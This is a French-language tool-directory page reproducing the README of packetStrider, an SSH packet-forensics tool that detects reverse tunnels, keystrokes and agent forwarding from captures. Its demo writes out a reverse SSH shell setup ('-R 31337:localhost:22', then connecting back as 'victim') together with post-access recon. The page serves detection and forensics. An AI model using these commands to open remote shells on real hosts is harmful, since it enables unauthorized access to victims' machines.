Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
packetStrider — Un outil de forensique de paquets réseau pour SSH | Kitploit
Outils/GitHubGitHub/benjeems/packetstrider
Sniffing et Analyse de PaquetsCriminalistique RéseauAnalyse ForensiqueTests d'IntrusionApprentissage AutomatiqueDétection d'IntrusionRed TeamingDétection d'Anomalies
GitHubbenjeems/packetstrider

packetStrider

Un outil de forensique de paquets réseau pour SSH

Voir le dépôt
254397il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Packet Strider (v0.21)

alt text

Résumé

packetStrider pour SSH est un outil de forensic réseau qui vise à fournir des informations précieuses sur la nature du trafic SSH, éclairant les recoins du trafic réseau SSH où des pépites d’or d’informations reposaient auparavant dans l’obscurité.

Le problème que packet strider cherche à résoudre (alias Pourquoi ?)

SSH est évidemment chiffré, mais des informations contextuelles précieuses existent toujours dans le trafic réseau qui peuvent contribuer aux TTP, à l’intention, au succès et à l’ampleur des actions sur les objectifs. Il peut même exister des situations où un contexte précieux n’est pas disponible ou a été supprimé des hôtes, et donc disposer d’une capture réseau passive immuable et inaltérable donne un contexte forensique supplémentaire. "Les paquets ne mentent pas".

Parallèlement au contexte forensique, les prédictions de packet strider pourraient également être utilisées de manière active, par exemple pour shun/RST les connexions forward si une fonctionnalité d’initiation de session SSH inverse tunnelisée est prédite à l’intérieur, avant même que l’authentification inverse ne soit proposée.

Les grandes techniques de packet strider (alias Comment ?)

  • Construit un ensemble de caractéristiques riche sous forme de dataframes pandas. Plus de 40 caractéristiques sont conçues à partir de métadonnées de paquets telles que le contenu des messages du protocole SSH, les statistiques normalisées, la direction, la taille, la latence et les caractéristiques de fenêtre glissante.
Télécharger l’outil
  • Parcourt cet ensemble de caractéristiques de nombreuses fois en utilisant des fenêtres glissantes (inspiré des réseaux de neurones convolutifs) pour prédire :
    • L’utilisation de l’option -R dans la session forward – c’est ce qui permet une connexion inverse plus tard dans la session. Cet artefact est découvert très tôt dans la session, juste après l’authentification de la session forward. C’est le premier signe d’alerte disponible que des sessions inverses sont possibles.
    • L’initiation de la session SSH inverse, cela peut se produire à tout moment (tôt ou tard) dans la session forward. Cela est découvert avant que la session inverse ne soit authentifiée avec succès. C’est le deuxième signe d’alerte, indiquant qu’une session inverse vient d’être demandée et configurée pour l’authentification.
    • Succès et/ou échec de l’authentification de la session inverse. C’est le troisième et dernier signe d’alerte, après quoi vous savez que quelqu’un est sur votre hôte, dans une session inverse.
    • L’utilisation de l’option -A (SSH Agent Forwarding), qui permet au client de partager ses clés privées SSH locales avec le serveur. Cette fonctionnalité est généralement considérée comme dangereuse. Références : https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491
    • Toutes les prédictions et rapports de métadonnées par flux.
    • Humain ou scripté, basé sur les deltas de timing.
    • Le serveur est-il déjà connu du client ? ou s’agit-il de la première connexion entre les deux ? Ceci est déterminé par les deltas de paquets associés à known_hosts.
    • Si une authentification par certificat client ou par mot de passe a été utilisée, et si la longueur du mot de passe est de 8 caractères ou moins.
    • Frappes clavier, pression de la touche Suppr, pression de la touche Entrée (couper-coller et haut/bas sont YMMV/expérimentaux).
    • Prédictions de mouvements de données d’exfiltration/infiltration dans les sessions Forward et Reverse.
    • Fonctionne sur les sessions interactives ainsi que sur les applications de transfert de fichiers SSH basées sur des fichiers (par exemple scp, putty, cyberduck, etc.).
  • Pour commencer

    Python3 a été utilisé, et vous aurez besoin des modules suivants (YMMV sur python2)

    pip3 install pandas matplotlib pyshark

    Utilisation :

    python3 packetStrider-ssh.py -h

    Sortie :

    root@kitploit:~
    usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
                                 [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
                                 [-w WINDOW] [-s STRIDE]
    
    packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
    feature set from packet metadata such SSH Protocol message content, direction,
    size, latency and sequencing. It performs pattern matching on these features,
    using statistical analysis, and sliding windows to predict session initiation,
    keystrokes, human/script behavior, password length, use of client
    certificates, context into the historic nature of client/server contact and
    exfil/infil data movement characteristics in both Forward and Reverse sessions
    
    optional arguments:
      -h, --help            show this help message and exit
      -f FILE, --file FILE  pcap file to analyze
      -n NSTREAM, --nstream NSTREAM
                            Perform analysis only on stream n
      -m, --metaonly        Display stream metadata only
      -k, --keystrokes      Perform keystroke prediction
      -p, --predict_plot    Plot data movement and keystrokes
      -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only
                            packets "x-y"
      -d DIRECTION, --direction DIRECTION
                            Perform analysis on SSH direction : "forward",
                            "reverse" OR "both"
      -o OUTPUT_DIR, --output_dir OUTPUT_DIR
                            Directory to output plots
      -w WINDOW, --window WINDOW
                            Sliding window size, # of packets to side of window
                            center packet, default is 2
      -s STRIDE, --stride STRIDE
                            Stride between sliding windows, default is 1
    

    Exemple

    Le pcap "forward_reverse.pcap" provient d’une TTP courante de shell SSH inverse, un favori des équipes rouges partout. Plus précisément, les commandes suivantes ont été utilisées, pour mettre en évidence les capacités de packet strider de manière simple :

    • Connexion forward depuis la victime

      • La commande pour la session forward était ssh [email protected] -R 31337:localhost:22 qui lie le port local 31337 prêt pour la connexion SSH inverse vers le PC victime. Cette connexion peut être réalisée de nombreuses manières, y compris manuellement, par une RCE, SSRF, ou une forme de persistance. Pour les besoins de cette démo, il s’agit d’une session forward manuelle standard.
      • Ce n’était PAS la première fois que le client voyait le serveur, nous le constatons car le delta pour les paquets associés était très petit, l’empreinte de la clé du serveur était déjà dans le known_hosts du client, donc l’utilisateur n’a pas été invité à l’ajouter – ce qui aurait augmenté la latence des paquets.
      • Deux échecs consécutifs de connexion par mot de passe par un humain, suivis d’une connexion réussie avec un mot de passe de 8 caractères ou plus.
      • ls est tapé dans la session forward, dans cette séquence : 'l' 'w' 'w' 'back-space' 'back-space' 's' puis entrée. La taille totale des données transmises sur le réseau (comme sortie de ls) est classée comme infiltration, étant donné qu’elle est entrante.
    • Maintenant sur la machine de l’attaquant (le serveur), un shell inverse est initié vers la victime :

      • ssh victim@localhost -p 31337. À ce stade, qui est avant même que le processus d’authentification ne commence, packet strider a identifié l’initiation de la session SSH inverse, au paquet 72
      • Maintenant l’attaquant dispose d’un shell inverse sur l’hôte victime. À partir de là, ils peuvent désactiver les paramètres d’historique et exécuter tout mouvement latéral ou méfaits de pillage qu’ils souhaitent. Les exemples simples de cette démo sont une reconnaissance utilisateur initiale.
      • last est exécuté sous forme de frappes 'l' 'a' 's' 'r' 'delete' 't' 'entrée'
      • who est exécuté sous forme de 'w' 'h' 'o' 'entrée'
      • exit est exécuté sous forme de 'e' 'x' 'i' 't'
    • Enfin, avec la session forward, la session est fermée, juste pour démontrer que la détection de la fonctionnalité SSH forward fonctionne toujours.

      • exit

    Le trafic réseau de cette activité est enregistré dans tcpdump.pcap et il est maintenant temps d’exécuter Packet Strider.

    python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

    alt text

    Ce graphique montre une chronologie des prédictions clés (l’image a été annotée ici) alt text

    Ce graphique montre quelques statistiques de fenêtre, utiles pour une analyse approfondie et l’expérimentation des caractéristiques.
    alt text

    Ce graphique montre un histogramme simple alt text

    Inspiration

    Ce projet a été réalisé comme une preuve de concept personnelle, comme un moyen pour moi de m’entraîner avec certaines bibliothèques de science des données en Python, il a été fortement inspiré par mes études Coursera en apprentissage automatique et science des données, en particulier la bibliothèque pandas et la façon dont les réseaux de neurones convolutifs (CNN) « stride » (parcourent) les ensembles de pixels d’image en utilisant des fenêtres glissantes pour détecter certaines caractéristiques à l’intérieur.

    Conseils

    Packet Strider effectue une grande quantité de « parcours » (striding) en mode pleine capacité. Cela peut entraîner une utilisation substantielle des ressources si le pcap est volumineux, ou plus précisément s’il y a beaucoup de paquets dans le pcap. Voici quelques conseils d’accélération, particulièrement utiles pour un premier passage par exemple juste pour voir si une activité SSH inverse a été prédite, puis ajouter des fonctionnalités si vous le souhaitez.

    • Assurez-vous d’exécuter avec les derniers correctifs des modules qui effectuent des tâches lourdes, par exemple pyshark/tshark, pandas et matplotlib.
    • L’option -p --predict_plot est l’opération la plus intensive. Pensez à simplement exécuter avec la sortie vers le terminal, puis voyez si vous souhaitez que cela soit tracé.
    • Utilisez l’option -m --metaonly. Cela ne récupère que les métadonnées de haut niveau telles que les noms de protocole et les données HASSH. Cela peut être utile pour déterminer rapidement si vous avez affaire à une session interactive utilisant OpenSSH, ou à un client de transfert de fichiers comme Cyberduck.
    • Pré-filtrez le pcap au trafic ssh.
    • Pré-filtrez le pcap au flux que vous voulez, que vous avez peut-être appris en exécutant auparavant avec l’option rapide -m --metaonly. Vous pouvez examiner uniquement le flux « NSTREAM » avec l’option « -n NSTREAM », ou pré-filtrer avec wireshark etc.
    • Il peut arriver que vous identifiiez quelque chose d’intéressant dans un sous-ensemble d’un très grand ensemble de paquets. Vous pouvez alors utiliser la fonction de zoom pour n’examiner et tracer que les paquets de la région qui vous intéresse. Utilisez -z ZOOM, --zoom ZOOM pour cela. par exemple -z 100-500
    • La plupart du temps, vous serez intéressé par la compréhension de l’activité des frappes clavier, donc bien que ne pas utiliser l’option -k économise de la vitesse de traitement, cela signifie aussi que vous n’obtiendrez pas cet aperçu précieux.

    À FAIRE

    • Plus de protocoles !
    • Examiner le multithreading et voir où cela peut aider la vitesse de traitement.
    • Améliorer l’efficacité du script, en particulier les temps de tracé.
    • Améliorer l’indicateur de collage
    • Améliorer l’indicateur de touche haut/bas
    • Annoter les graphiques avec imagemagick ou similaire
    • Améliorer la fonction de rapport, écrire sur le disque.
    • L’indicateur de touche inverse est conservateur car l’encapsulation des paquets peut potentiellement signaler deux frappes. Ce problème n’existe pas pour les frappes forward, car l’ordre des paquets a été traité au cas où ils arriveraient dans le désordre. Examiner les options ici.
    • Porter vers golang pour la vitesse
    • Mode temps réel
    • Examiner l’effet de tunnels supplémentaires de ports locaux sur la connexion forward.

    Avertissement

    Utilisation à vos propres risques. Voir les termes de la licence.